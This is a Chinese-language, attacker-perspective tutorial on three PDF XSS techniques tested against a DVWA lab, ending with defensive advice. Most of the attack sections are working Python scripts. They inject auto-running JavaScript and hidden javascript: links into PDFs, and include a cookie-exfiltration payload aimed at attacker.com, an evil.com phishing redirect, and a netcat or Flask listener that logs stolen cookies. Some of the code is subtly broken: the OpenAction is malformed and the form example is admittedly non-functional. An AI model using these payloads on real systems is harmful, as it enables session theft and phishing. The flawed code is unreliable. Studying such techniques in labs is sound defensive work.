1. 项目概述:换个视角看PDF安全
在Web安全领域,跨站脚本攻击(XSS)大家都不陌生,通常我们想到的是在网页表单、URL参数或者评论区里注入恶意脚本。但如果说,一份看似无害、用于阅读和分享的PDF文档,也能成为XSS攻击的载体,你是否会觉得有些意外?这正是我们今天要深入探讨的主题:PDF XSS。不同于传统的防御者视角,这次我们站在攻击者的角度,去理解、复现并剖析三种主流的PDF XSS攻击手法。这并非为了教唆攻击,恰恰相反,只有深入理解攻击者的思维和工具链,我们才能构建起更坚固的防御体系。
这个项目将围绕一个核心目标展开:如何利用Burp Suite和Python这两大安全从业者最熟悉的工具,从零开始复现三种具有代表性的PDF XSS攻击场景。我们会从PDF文件的基础结构讲起,理解恶意代码是如何被“封装”进去的,然后一步步动手,利用Burp Suite拦截和修改流量,使用Python脚本自动化生成或处理恶意PDF负载。无论你是刚入门安全测试的新手,还是想深化Web应用安全理解的中级开发者,通过这个实战过程,你不仅能掌握具体的攻击复现技巧,更能深刻理解这类混合型攻击(文件+Web)的底层逻辑和防御盲点。接下来,让我们戴上“攻击者”的帽子,开始这次探索之旅。
2. 核心原理与攻击面解析
2.1 PDF文件结构与XSS的植入点
要发起有效的攻击,首先得了解目标。PDF(Portable Document Format)并非一个简单的图像容器,而是一个复杂的、由一系列对象(Object)组成的结构化文档格式。这些对象包括页面内容流、字体、注解(Annotation)、JavaScript动作(Action)等。对于攻击者而言,以下几个结构是植入恶意脚本的绝佳切入点:
- OpenAction与JavaScript动作:这是最经典的PDF XSS向量。PDF规范允许文档定义打开时自动执行的动作。通过在文档目录(Catalog)中设置一个
/OpenAction条目,并指向一个包含/JS或/JavaScript的/Action对象,就可以在PDF阅读器打开文档时执行嵌入的JavaScript代码。这段代码通常被包装在一个/Names字典下的/JavaScript对象中。 - 注解(Annotations)与富文本:PDF支持多种注解类型,如链接注解(Link Annotation)、文本注解(Text Annotation)等。攻击者可以创建一个链接注解,将其
/A(动作)属性设置为一个URI动作(URI Action),并在URI中嵌入JavaScript伪协议(如javascript:alert(document.cookie))。当用户点击PDF中的这个“链接”时,如果阅读器在浏览器中运行或与浏览器有不当的集成,就可能执行该脚本。 - 表单(Form)与提交动作:PDF可以包含交互式表单。攻击者可以恶意构造一个表单,将其提交动作(Submit Action)的URL指向一个精心构造的地址,并在表单字段的值中注入XSS载荷。当用户填写表单并提交时,数据可能被发送到一个受攻击者控制的服务器,或者在某些渲染环节触发脚本执行。
- 嵌入的富媒体与对象:现代PDF支持嵌入Flash(虽已淘汰但历史文件存在风险)、3D内容等。这些嵌入对象的处理逻辑可能存在漏洞,成为脚本执行的跳板。
理解这些结构后,攻击者的思路就清晰了:不是直接攻击PDF阅读器软件本身(那是漏洞利用),而是将PDF作为“特洛伊木马”,利用阅读器渲染PDF内容并可能与浏览器上下文交互的特性,来触发针对Web应用的XSS攻击。攻击成功的关键往往在于PDF阅读器(特别是内嵌在浏览器中的插件或组件)对其中JavaScript和URI内容的处理方式。
2.2 攻击链与场景分析
一次成功的PDF XSS攻击,其链条通常涉及多个环节:
- 载荷制作:攻击者使用工具(如Python脚本)生成一个包含恶意JavaScript的PDF文件。这段脚本的目标通常是窃取用户的会话Cookie、发起CSRF请求、进行钓鱼跳转或探测内网信息。
- 载荷投递:通过钓鱼邮件、被攻陷的网站下载、论坛附件等方式,诱使目标用户下载并打开这个PDF文件。
- 触发执行:用户使用易受攻击的PDF阅读器(例如,旧版本的浏览器内置PDF查看器、某些未正确配置的独立阅读器)打开文件。恶意脚本在阅读器的安全上下文中执行。
- 利用与渗透:执行的脚本在用户当前浏览会话的上下文中运行,可以访问同源下的DOM、Cookie、LocalStorage等,从而实施进一步的攻击。
从攻击者视角看,他们最关心的两个问题是:如何确保PDF载荷在目标环境中成功触发?以及如何让恶意脚本在正确的Web上下文(即目标网站)中执行?这就引出了我们接下来要复现的三种手法,它们分别针对不同的触发条件和上下文获取方式。
3. 环境与工具准备
3.1 靶场与测试环境搭建
为了安全、合法地复现攻击,我们必须在一个受控的隔离环境中进行。强烈建议使用虚拟机搭建测试环境。
- 虚拟机环境:使用VirtualBox或VMware创建一个干净的Windows或Linux虚拟机。这将作为我们的“攻击实验室”。
- 靶场应用:我们需要一个存在XSS漏洞的Web应用作为目标。推荐使用OWASP的DVWA(Damn Vulnerable Web Application)或WebGoat。它们专门为安全学习设计,包含了各种难度的XSS漏洞模块。这里以DVWA为例,你可以将其部署在虚拟机内的XAMPP、WAMP或Docker中。
- PDF阅读器选择:测试不同阅读器的行为至关重要。建议准备以下环境:
- 浏览器内置查看器:Chrome、Firefox、Edge的最新版和某个旧版本(用于对比)。注意,现代浏览器沙盒机制很强,是主要测试对象。
- Adobe Acrobat Reader DC:行业标准,历史版本行为多样,是重点测试对象。务必从官网下载,并在虚拟机中测试。
- 其他阅读器:如Foxit Reader、Sumatra PDF等,以了解不同实现间的差异。
- Burp Suite配置:在虚拟机中安装Burp Suite Community或Professional版。配置浏览器代理指向Burp(通常为127.0.0.1:8080),并安装Burp的CA证书到浏览器信任库,以便拦截HTTPS流量。这是我们拦截、查看和修改HTTP请求的“手术台”。
注意:所有测试务必在你自己搭建的、与外界隔离的虚拟机环境中进行。切勿对任何非授权的线上系统进行测试,这是法律和道德的底线。
3.2 Python库与辅助脚本
Python是我们生成和操纵PDF载荷的利器。我们将主要用到以下库:
- PyPDF2 或 pikepdf:用于解析、读取和修改现有的PDF文件结构。
pikepdf基于QPDF,对复杂PDF的支持更好,更推荐。pip install pikepdf - reportlab:一个强大的PDF生成库。当我们需要从零开始构建一个包含恶意结构的PDF时,它会非常有用。
pip install reportlab - requests:用于在Python脚本中模拟HTTP请求,自动化测试载荷。
pip install requests
此外,准备一个简单的HTTP服务器脚本也很有用,用于托管我们生成的恶意PDF文件,模拟攻击者的服务器。
# simple_http_server.py import http.server import socketserver PORT = 8000 Handler = http.server.SimpleHTTPRequestHandler with socketserver.TCPServer(("", PORT), Handler) as httpd: print(f"Serving at port {PORT}") httpd.serve_forever()4. 攻击手法一:利用OpenAction执行窃取Cookie
这是最直接、最经典的PDF XSS手法,利用了PDF的自动执行功能。
4.1 攻击原理与构造
这种手法的核心是创建一个包含/OpenAction的PDF文件,该动作指向一段JavaScript代码。当PDF被支持JavaScript的阅读器打开时,代码会自动执行。攻击者的目标通常是窃取用户在当前浏览器会话中针对目标网站的Cookie。
构造思路如下:
- 编写一个JavaScript载荷,其功能是将用户的
document.cookie发送到攻击者控制的服务器。 - 将这个JavaScript代码作为对象嵌入PDF文件中。
- 在PDF的根目录(Catalog)中设置
/OpenAction,将其指向这个JavaScript对象。 - 将PDF文件投递给受害者。
4.2 使用Python生成恶意PDF
我们可以使用pikepdf来修改一个现有的良性PDF,为其注入恶意OpenAction。这里假设我们有一个名为benign.pdf的干净文件。
import pikepdf from pikepdf import Name, Array, Dictionary, Stream def create_malicious_pdf_with_openaction(input_pdf, output_pdf, js_code): """ 向PDF注入OpenAction JavaScript载荷。 :param input_pdf: 输入的良性PDF路径 :param output_pdf: 输出的恶意PDF路径 :param js_code: 要注入的JavaScript代码字符串 """ with pikepdf.open(input_pdf) as pdf: # 1. 创建JavaScript对象 js_stream = Stream(pdf, js_code.encode('utf-8')) js_dict = Dictionary({ Name("/Type"): Name("/Action"), Name("/S"): Name("/JavaScript"), # 动作类型为JavaScript Name("/JS"): js_stream }) js_indirect = pdf.make_indirect(js_dict) # 创建间接引用对象 # 2. 创建OpenAction字典,指向我们的JavaScript动作 openaction_dict = Dictionary({ Name("/Type"): Name("/Action"), Name("/S"): Name("/JavaScript"), Name("/JS"): js_stream # 也可以直接指向js_stream,但用间接引用更规范 # 另一种常见写法是直接让/OpenAction指向一个包含/Action的数组 # 例如:[/Action, js_indirect] }) # 我们采用更常见的数组形式:[/Action, js_indirect] openaction_array = Array([Name("/Action"), js_indirect]) # 3. 获取或创建PDF的根目录(Catalog)对象 catalog = pdf.Root # 将OpenAction设置到根目录 catalog.OpenAction = openaction_array # 4. 保存为新文件 pdf.save(output_pdf) print(f"[+] 恶意PDF已生成: {output_pdf}") # 示例:窃取Cookie并发送到攻击者服务器的JavaScript代码 # 注意:这里使用了一个假设的攻击者服务器地址 `http://attacker.com/steal` # 在实际测试中,你需要将其替换为你虚拟机中运行的接收服务器地址(如 http://192.168.1.100:8888/log) malicious_js = """ var cookie = document.cookie; var img = new Image(); img.src = 'http://attacker.com/steal?c=' + encodeURIComponent(cookie); // 或者使用fetch API(注意同源策略,可能需要CORS) // fetch('http://attacker.com/steal', {method: 'POST', body: cookie}); """ # 使用函数生成PDF create_malicious_pdf_with_openaction('benign.pdf', 'malicious_openaction.pdf', malicious_js)4.3 使用Burp Suite配合测试与利用
生成PDF后,我们需要模拟攻击链。
搭建接收服务器:在攻击者虚拟机(或同一虚拟机的另一个终端)启动一个简单的HTTP服务器来接收被盗的Cookie。可以使用
nc(Netcat)监听,或者写一个简单的Python Flask应用。# 使用nc监听8888端口 nc -lvnp 8888或者使用Python Flask:
from flask import Flask, request app = Flask(__name__) @app.route('/steal') def steal(): cookie = request.args.get('c') print(f"[+] 窃取到Cookie: {cookie}") with open('stolen_cookies.txt', 'a') as f: f.write(cookie + '\\n') return 'OK' if __name__ == '__main__': app.run(host='0.0.0.0', port=8888)配置Burp Suite:
- 确保浏览器代理已指向Burp。
- 在Burp的Proxy -> Options中,确保拦截是关闭的(Intercept is off),我们主要是为了观察流量。
- 转到Proxy -> HTTP history,这里将记录所有经过Burp的HTTP请求。
触发攻击:
- 在测试虚拟机中,用浏览器登录DVWA靶场(例如,访问
http://dvwa.local并登录)。确保登录后的Cookie存在。 - 在同一个浏览器中,打开我们生成的
malicious_openaction.pdf文件。你可以通过本地文件路径(file:///)打开,或者更好的是,用我们之前写的simple_http_server.py在8000端口托管这个PDF,然后通过http://127.0.0.1:8000/malicious_openaction.pdf访问,这样更接近真实攻击场景。 - 观察Burp Suite的HTTP history。你应该能看到一个向
http://attacker.com/steal?c=...(或你设置的地址)发起的GET请求,参数中包含了DVWA的会话Cookie(如PHPSESSID=xxx)。 - 同时,查看你的接收服务器(nc或Flask应用),确认收到了Cookie数据。
- 在测试虚拟机中,用浏览器登录DVWA靶场(例如,访问
实操心得与注意事项:
- 同源策略(SOP)是关键限制:现代浏览器对
file://协议下的JavaScript执行有严格限制,且document.cookie通常只能访问同源(同协议、同主机、同端口)的Cookie。因此,如果PDF通过file://打开,脚本很可能无法访问http://dvwa.local的Cookie。这就是为什么我们强调要通过HTTP服务来访问PDF,让PDF和靶场处于“相对可控”的上下文中进行测试。在实际攻击中,攻击者会诱使用户从某个网站(可能与目标网站有关联)下载并打开PDF。 - 阅读器兼容性:Adobe Acrobat Reader对OpenAction JavaScript的支持历史复杂,不同版本行为不同。现代版本在默认安全设置下可能会阻止执行,或弹出警告。浏览器内置PDF查看器(如Chrome PDF Viewer)通常不支持或严格限制PDF中的JavaScript,因此这种手法对它们可能无效。测试时要记录不同阅读器的行为差异。
- 载荷的隐蔽性:直接使用
Image对象发起请求可能被一些安全软件或浏览器扩展检测。攻击者可能会尝试使用更隐蔽的通信方式,如fetch配合特定的mode、WebSocket或延迟触发。
5. 攻击手法二:利用URI动作(URI Action)的点击劫持
这种手法不依赖于自动执行,而是需要用户交互(点击),利用了PDF中的链接注解(Link Annotation)和URI动作。
5.1 攻击原理与构造
PDF允许在页面上创建可点击的区域(链接注解),当用户点击时,可以执行多种动作,其中之一就是URI动作(URI Action),即打开一个URI。攻击者可以创建一个链接注解,将其URI设置为一个javascript:伪协议链接。当用户点击PDF中的这个“链接”(可能被伪装成正常文字或按钮)时,就会在阅读器的上下文中执行JavaScript代码。
构造思路:
- 在PDF页面的特定位置(如一个诱人的“查看详情”、“确认提交”按钮)创建一个链接注解(Link Annotation)。
- 将该注解的
/A(动作)属性设置为一个URI动作字典。 - 在该URI动作字典中,将
/URI的值设置为恶意的javascript:代码。 - 用户点击后触发XSS。
5.2 使用Python构造恶意链接注解
我们继续使用pikepdf来操作。这次我们需要更精细地操作页面和注解对象。
import pikepdf from pikepdf import Name, Array, Dictionary, Rectangle def add_malicious_link_annotation(input_pdf, output_pdf, link_rect, js_payload): """ 向PDF的首页添加一个恶意的链接注解。 :param input_pdf: 输入PDF路径 :param output_pdf: 输出PDF路径 :param link_rect: 链接区域的矩形坐标 [llx, lly, urx, ury] (左下角x,y, 右上角x,y) :param js_payload: javascript: 载荷,例如 'javascript:alert(document.domain)' """ with pikepdf.open(input_pdf) as pdf: # 获取第一页 first_page = pdf.pages[0] # 1. 创建URI动作字典 uri_action = Dictionary({ Name("/Type"): Name("/Action"), Name("/S"): Name("/URI"), Name("/URI"): pikepdf.String(js_payload) # 关键:javascript: 代码 }) # 2. 创建链接注解字典 link_annotation = Dictionary({ Name("/Type"): Name("/Annot"), Name("/Subtype"): Name("/Link"), Name("/Rect"): Array([link_rect[0], link_rect[1], link_rect[2], link_rect[3]]), # 定义可点击区域 Name("/Border"): Array([0, 0, 0]), # 边框宽度为0,隐藏边框 Name("/A"): uri_action, # 关联URI动作 Name("/H"): Name("/I") # 高亮样式:反转(Invert),点击时有效果 }) # 3. 将链接注解添加到页面的注解数组(/Annots)中 if Name("/Annots") in first_page: # 如果已有注解,追加 first_page.Annots.append(pdf.make_indirect(link_annotation)) else: # 如果没有注解,创建新数组 first_page.Annots = Array([pdf.make_indirect(link_annotation)]) # 4. 保存 pdf.save(output_pdf) print(f"[+] 已添加恶意链接注解到PDF: {output_pdf}") # 示例:在页面中央区域(坐标需根据具体PDF调整)添加一个点击后弹窗的链接 # 坐标系统:通常以左下角为原点(0,0),单位是点(point)。需要根据页面大小估算。 # 假设页面大小是A4 (595x842 points),我们在中间放一个100x50的按钮。 page_width, page_height = 595, 842 button_width, button_height = 100, 50 llx = (page_width - button_width) / 2 lly = (page_height - button_height) / 2 urx = llx + button_width ury = lly + button_height link_rectangle = [llx, lly, urx, ury] # 恶意载荷:点击后尝试窃取Cookie并发送(注意,javascript: 伪协议在PDF阅读器中支持度有限且可能被过滤) # 更常见的攻击是进行钓鱼跳转:javascript:window.location='http://evil.com/phishing' js_uri_payload = "javascript:alert('XSS from PDF! Cookie: ' + document.cookie);" add_malicious_link_annotation('benign.pdf', 'malicious_link.pdf', link_rectangle, js_uri_payload)5.3 交互测试与Burp监控
- 生成并托管PDF:运行上述脚本生成
malicious_link.pdf,并用HTTP服务器托管。 - 用户模拟:在已登录DVWA的浏览器中,访问托管PDF的URL。
- 触发点击:在PDF页面的指定区域(我们设置的矩形内)点击。由于我们隐藏了边框,这个区域可能看起来是空白的。在实际攻击中,攻击者会在这个区域覆盖一段诱骗性的文字或图像。
- 观察结果:
- 弹窗:如果阅读器支持并允许执行
javascript:伪协议,你可能会看到一个弹窗,显示当前文档的域名和Cookie(如果同源)。 - Burp Suite监控:如果我们的载荷是发送Cookie到远程服务器(例如
javascript:new Image().src='http://attacker.com/steal?c='+encodeURIComponent(document.cookie);),那么在点击后,Burp的HTTP history中应该能看到相应的出站请求。 - 页面跳转:如果载荷是
javascript:window.location='...',浏览器可能会跳转到攻击者指定的钓鱼页面。
- 弹窗:如果阅读器支持并允许执行
实操心得与注意事项:
javascript:伪协议的限制:现代浏览器和PDF阅读器对javascript:URI的处理非常严格。许多阅读器会直接阻止执行,或将其视为普通文本。Adobe Reader在某些版本和配置下可能允许,但通常会有限制。这是一种“古老”但仍有特定环境可能生效的手法。- 点击劫持(Clickjacking)的变体:攻击者可以将链接注解做得非常大,或者完全透明覆盖在整个页面上,诱使用户在看似无害的点击(如关闭弹窗、翻页)时触发恶意动作。这需要精确计算坐标。
- 社会工程学:这种手法的成功极度依赖社会工程学。PDF内容本身需要极具欺骗性,让用户毫无戒心地去点击那个特定的区域。例如,伪造一个“系统升级提示,请点击此处确认”的界面。
- Burp的辅助分析:除了监控流量,Burp的Repeater工具非常有用。当你从HTTP history中捕获到一个可疑的、由PDF点击触发的请求时,可以将其发送到Repeater,修改其中的参数(比如Cookie窃取的目标URL),反复测试不同载荷在不同阅读器下的行为。
6. 攻击手法三:利用PDF表单提交触发存储型XSS
这种手法更为迂回,它利用了PDF表单的交互性和提交功能,将XSS载荷注入到Web应用的后端,最终在用户浏览网页时触发,属于存储型XSS(Stored XSS)的一种间接利用方式。
6.1 攻击原理与构造
PDF表单可以包含文本框、按钮等交互元素。当用户点击提交按钮时,表单数据可以通过HTTP GET或POST请求发送到指定的URL。攻击者可以:
- 创建一个PDF表单,其中包含一个隐藏的或预填了XSS载荷的文本框(例如,
<script>alert(1)</script>)。 - 将表单的提交地址(
/SubmitForm动作的URL)设置为存在存储型XSS漏洞的Web应用端点(例如,DVWA的XSS(Stored)漏洞页面)。 - 诱使用户打开PDF,填写表单(或直接使用预填值),并点击提交。
- PDF阅读器将表单数据(包含XSS载荷)发送到目标Web应用。如果该应用未对输入进行充分过滤和转义,就将数据存储并展示给其他用户,那么XSS载荷就会被存储下来。
- 当其他用户浏览包含该恶意数据的页面时,XSS脚本在其浏览器中执行。
这种手法的关键在于,攻击发生的地点不是PDF阅读器本身,而是目标Web应用。PDF只是一个“投递工具”。
6.2 使用Python生成恶意表单PDF
我们可以用reportlab从零开始生成一个包含恶意表单的PDF,也可以用pikepdf修改现有PDF添加表单。这里展示用reportlab生成的方式,因为它对表单创建的支持更直观。
from reportlab.pdfgen import canvas from reportlab.pdfbase import pdfdoc from reportlab.lib.pagesizes import letter def create_malicious_form_pdf(output_pdf, target_url, hidden_field_value): """ 创建一个包含隐藏表单字段的PDF,提交到目标URL。 :param output_pdf: 输出PDF路径 :param target_url: 存在存储型XSS漏洞的form提交地址 :param hidden_field_value: 隐藏字段的值,即XSS载荷 """ c = canvas.Canvas(output_pdf, pagesize=letter) width, height = letter # 1. 添加一些诱骗性文字 c.drawString(100, height - 100, "请填写以下信息完成反馈(恶意演示):") c.drawString(100, height - 130, "姓名:") # 这里可以画一个文本框,但为简化,我们只创建隐藏的恶意字段 # 2. 创建PDF表单字段(AcroForm) # 首先,我们需要获取canvas的doc对象来操作AcroForm c._doc.init_xref() # 确保xref初始化 c._doc._ensureForm() # 确保有表单 # 创建一个隐藏的文本字段 from reportlab.pdfbase.pdfdoc import PDFDictionary, PDFName, PDFString # 字段名和值 field_name = 'comment' # 字段名,对应Web应用中的参数名 field_value = hidden_field_value # XSS载荷 # 创建字段字典(简化版,实际更复杂) # 注意:reportlab对AcroForm的高级支持有限,此示例为概念演示。 # 生产环境恶意PDF通常使用更底层的库或现有模板修改。 # 这里我们采用一个取巧的方法:添加一个注释,说明实际构造需用其他工具。 c.drawString(100, height - 200, "[实际攻击中,此处会有一个隐藏的表单字段]") c.drawString(100, height - 230, f"字段名: {field_name}") c.drawString(100, height - 260, f"字段值: {field_value[:50]}...") # 显示部分值 c.drawString(100, height - 290, f"提交地址: {target_url}") # 3. 设置表单提交动作(概念说明) # 在真正的PDF中,我们需要创建 /SubmitForm 动作并关联到提交按钮。 # 这通常涉及编辑PDF的Catalog和AcroForm字典,添加 /Action 和 /SubmitForm。 # 使用 pikepdf 修改现有带表单的PDF是更可行的方案。 c.drawString(100, height - 350, "技术说明:完整实现需使用pikepdf修改PDF的") c.drawString(100, height - 370, "/OpenAction 或按钮的 /A 为 /SubmitForm 动作,") c.drawString(100, height - 390, f"并设置 /F (URL) 为 {target_url}。") c.showPage() c.save() print(f"[+] 概念演示PDF已生成: {output_pdf}") print(f"[!] 注意:这是一个概念演示。实际生成可提交的恶意表单PDF,推荐使用工具如`pdflatex`配合特定包,或使用`pikepdf`对已有表单PDF进行注入。") # 示例:目标是DVWA的存储型XSS漏洞页面(假设已知其表单提交地址和参数) # DVWA存储型XSS(低安全级别)通常提交到 `http://dvwa.local/vulnerabilities/xss_s/` # 参数名为 `mtxMessage` 和 `btnSign`。 target_url = "http://dvwa.local/vulnerabilities/xss_s/" # 提交地址 xss_payload = "<script>alert('Stored XSS via PDF Form!');</script>" # 存储型XSS载荷 create_malicious_form_pdf('malicious_form_demo.pdf', target_url, xss_payload)由于reportlab创建复杂表单提交动作较为繁琐,另一种更实用的方法是:
- 先创建一个带有正常表单和提交按钮的PDF(可以用Word或LibreOffice生成后转PDF)。
- 使用
pikepdf修改这个PDF,将表单的提交URL改为目标漏洞地址,并修改某个隐藏字段的值为XSS载荷。
6.3 利用链复现与Burp拦截分析
假设我们已经通过其他工具(如pdftk、qpdf命令行工具或更底层的PDF编辑脚本)生成了一个真正能提交表单的恶意PDFmalicious_form_real.pdf。
- 准备靶场:确保DVWA运行在“低”安全级别,并导航到“XSS (Stored)”页面 (
/vulnerabilities/xss_s/)。观察其正常的表单结构(使用浏览器开发者工具查看)。 - 配置Burp Suite:打开Burp的代理拦截(Intercept is on)。
- 触发提交:
- 在已登录DVWA的浏览器中,打开
malicious_form_real.pdf(通过HTTP服务访问)。 - PDF中会显示一个表单,可能只有一个“提交反馈”按钮。点击它。
- 在已登录DVWA的浏览器中,打开
- Burp拦截与修改:
- Burp会拦截到PDF阅读器发出的提交请求。这个请求应该是发往
target_url的POST(或GET)请求。 - 查看请求体(如果是POST),你应该能看到类似
mtxMessage=<script>alert(...)</script>&btnSign=Sign+Guestbook的参数。 - 这里就是攻击者的视角:他们可以通过Burp查看请求是否按预期构造,参数名和载荷是否正确。他们可以在这里直接修改载荷,然后“Forward”请求。
- Burp会拦截到PDF阅读器发出的提交请求。这个请求应该是发往
- 观察结果:
- 请求被转发到DVWA后,如果漏洞存在,XSS载荷会被存储。
- 随后,刷新或让其他用户访问DVWA的留言板页面,存储的脚本就会执行,弹出警告框。
- 在Burp的HTTP history中,你可以看到提交请求和后续加载留言板页面的请求。
实操心得与注意事项:
- 请求格式:PDF表单提交的编码格式可能是
application/x-www-form-urlencoded或multipart/form-data,需要与目标Web应用兼容。攻击者需要提前探测目标表单接受哪种格式。 - CSRF令牌:如果目标表单有CSRF令牌保护,这种简单的提交就会失败。攻击者需要先通过其他方式(如结合之前的XSS)获取令牌,或者寻找没有令牌的端点。这增加了攻击复杂度。
- 阅读器差异:不同PDF阅读器对表单提交的支持和实现方式可能有差异。有些可能不会自动携带浏览器的Cookie(会话),导致提交请求是未认证状态,无法成功利用需要认证的漏洞。测试时需注意。
- 这是一种“混合”攻击:它结合了客户端文件(PDF)和服务器端漏洞(存储型XSS)。防御需要两端同时加固:Web应用做好输入过滤和输出编码,用户谨慎处理来历不明的PDF文件。
7. 防御视角与安全建议
通过以上三种手法的复现,我们从攻击者视角深刻理解了PDF XSS的多样性和潜在危害。现在,让我们切换回防御者视角,总结如何应对这类威胁。
7.1 针对终端用户的安全建议
- 保持软件更新:及时更新PDF阅读器(如Adobe Reader、浏览器)到最新版本。新版本通常会修复已知的安全漏洞和收紧安全策略。
- 调整阅读器安全设置:
- 在Adobe Acrobat Reader中,进入“编辑”->“首选项”->“安全性(增强)”,可以禁用JavaScript执行。这是阻断第一类手法的有效方法。
- 限制文档的自动操作和外部连接。
- 谨慎处理附件:不要打开来历不明的PDF文件,尤其是邮件中的附件。即使来自熟人,也要对异常内容保持警惕。
- 使用沙盒或受限环境:在高度敏感的环境中,可以考虑在沙盒、虚拟机或专用阅读器中打开外部PDF。
- 注意浏览器行为:了解你使用的浏览器如何处理PDF。Chrome、Firefox等默认使用内置的安全沙盒化查看器,它们通常不支持PDF中的JavaScript,这提供了基础防护。
7.2 针对开发与运维人员的安全建议
- Web应用安全:
- 严格的输入验证与输出编码:这是防御所有XSS的根本。对所有用户输入(包括来自文件上传、表单提交、URL参数的数据)进行严格的过滤和验证。在将内容输出到HTML页面时,必须根据上下文进行正确的编码(HTML实体编码、JavaScript编码、URL编码等)。
- 内容安全策略(CSP):部署严格的CSP头部,限制页面可以加载和执行脚本的来源。可以有效阻止内联脚本(包括
javascript:伪协议)和未经授权的外部脚本执行。例如,script-src 'self'。 - 设置HttpOnly和Secure Cookie标志:将敏感Cookie标记为HttpOnly,可以防止被客户端JavaScript窃取(虽然攻击者可能通过其他方式利用会话,但增加了难度)。
- 文件上传处理:
- 如果网站允许上传PDF,必须进行严格检查。包括:文件类型验证(检查MIME类型和文件头,不依赖扩展名)、病毒扫描、内容安全检查(可以使用沙盒环境分析PDF行为,或使用PDF解析库检查是否存在恶意动作/JavaScript)。
- 将上传的文件存储在非Web可访问目录,并通过安全的脚本提供下载服务,避免直接静态托管。
- 服务器端PDF处理:
- 如果需要动态生成或处理PDF,使用受信任的、积极维护的库(如PDFKit、WeasyPrint、Apache PDFBox)。
- 在服务器端渲染PDF时,确保不将未经验证的用户输入直接嵌入到PDF的JavaScript或URI上下文中。
- 安全意识培训:让团队成员了解PDF XSS等非传统攻击向量,在代码审查和安全测试中将其纳入考量。
7.3 安全测试与审计要点
作为安全测试人员,在审计Web应用和文档处理功能时,应:
- 将PDF文件纳入测试范围:在测试文件上传功能时,不仅测试常见Web Shell,也要测试包含XSS、XXE等载荷的PDF文件。
- 测试PDF解析库:如果应用有解析PDF内容的功能(如提取文本),测试其是否容易受到XXE、DoS或不当内容处理的影响。
- 模拟攻击链:使用本文介绍的方法,尝试制作测试用的恶意PDF,检查目标系统(包括前端渲染和后端存储)是否会被成功利用。
- 检查CSP等安全头部:验证CSP策略是否能有效阻止PDF中可能触发的恶意脚本执行。
站在攻击者视角进行思考和实践,最终目的是为了构建更全面、更主动的防御。理解每一种攻击手法的原理、工具和限制,才能在设计安全方案时做到有的放矢,不留死角。PDF XSS只是客户端安全威胁的一个缩影,它提醒我们,安全边界无处不在,任何数据交换和解析点都可能成为突破口。保持警惕,持续学习,是安全领域永恒的主题。